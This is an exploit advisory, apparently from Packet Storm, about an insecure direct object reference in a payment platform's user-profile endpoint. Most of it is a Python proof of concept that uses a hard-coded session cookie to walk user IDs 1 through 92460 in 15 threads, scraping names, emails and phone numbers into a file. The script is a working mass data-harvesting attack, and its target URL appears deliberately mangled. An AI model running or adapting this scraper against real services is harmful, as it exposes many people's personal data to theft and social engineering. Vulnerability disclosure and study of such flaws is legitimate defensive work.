## https://sploitus.com/exploit?id=PACKETSTORM:218708
==================================================================================================================================
| # Title : Authentic 8 Mass User Data Exposure via IDOR and Missing Access Control in User Profile Endpoint |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://pesaflow.com/ |
==================================================================================================================================
[+] Summary : The assessment revealed a critical security vulnerability in the user profile endpoint of an online services platform.
This vulnerability allows an application to compromise sensitive personal information by accessing serialized user profile identifiers without validating access permissions.
The endpoint returns user attributes, such as full names, email addresses, and phone numbers, which can be retrieved in large quantities due to the lack of access rate limits and effective access controls.
This allows an authenticated user to browse large portions of the user database.
This vulnerability represents a combination of insecure direct object access (IDOR) and inadequate access controls, resulting in the unauthorized exposure of vast amounts of data.
Exploiting this vulnerability could lead to widespread privacy breaches, user profile identification, and potential social engineering attacks.
[+] POC :
import requests
import re
import concurrent.futures
MY_COOKIE = "_single_signon_key=feX/ygNzIB73dmAxWodOZ22U446F5pf1B1v+NPUPlj4uAE8T1FbZmlXrH1UxDNO/DZeHERGSyP/HJFAczYwioR9zSNijJRe+W01PYTU+RNK4Wmo3Y6PnKa6xpKdvGxvW"
RESULT_FILE = "rzlt.txt"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/122.0.0.0",
"Cookie": MY_COOKIE,
"Accept": "text/html,application/xhtml+xml,xml;q=0.9"
}
def pwn_single_id(target_id):
url = f"https://127.0.01.gov.ss/user-profile/{target_id}"
try:
res = requests.get(url, headers=headers, timeout=15)
if res.status_code == 200:
html = res.text
name_match = re.search(r'class="font-semibold text-slate-600.*?>(.*?)<', html)
name = name_match.group(1).strip() if name_match else "N/A"
email_match = re.search(r'id="email-form_current_email".*?value="(.*?)"', html)
email = email_match.group(1).strip() if email_match else "N/A"
phone_patterns = [
r'id="mobile_number".*?value="(.*?)"',
r'id="phone".*?value="(.*?)"',
r'name="mobile".*?value="(.*?)"',
r'value="(\+\d{7,15})"'
]
phone = "N/A"
for pattern in phone_patterns:
match = re.search(pattern, html)
if match and match.group(1).strip():
phone = match.group(1).strip()
break
if email != "N/A" or phone != "N/A":
data_line = f"ID: {target_id} | Name: {name} | Email: {email} | Phone: {phone}\n"
with open(RESULT_FILE, "a", encoding="utf-8") as f:
f.write(data_line)
print(f"[+] Captured {target_id}: {email} | {phone}")
return True
return False
except Exception:
return False
def start_mass_extraction(start_id, end_id, workers=15):
print(f"[*] Starting Mass Extraction ({start_id} -> {end_id})")
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor:
executor.map(pwn_single_id, range(start_id, end_id + 1))
if __name__ == "__main__":
start_mass_extraction(1, 92460, workers=15)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================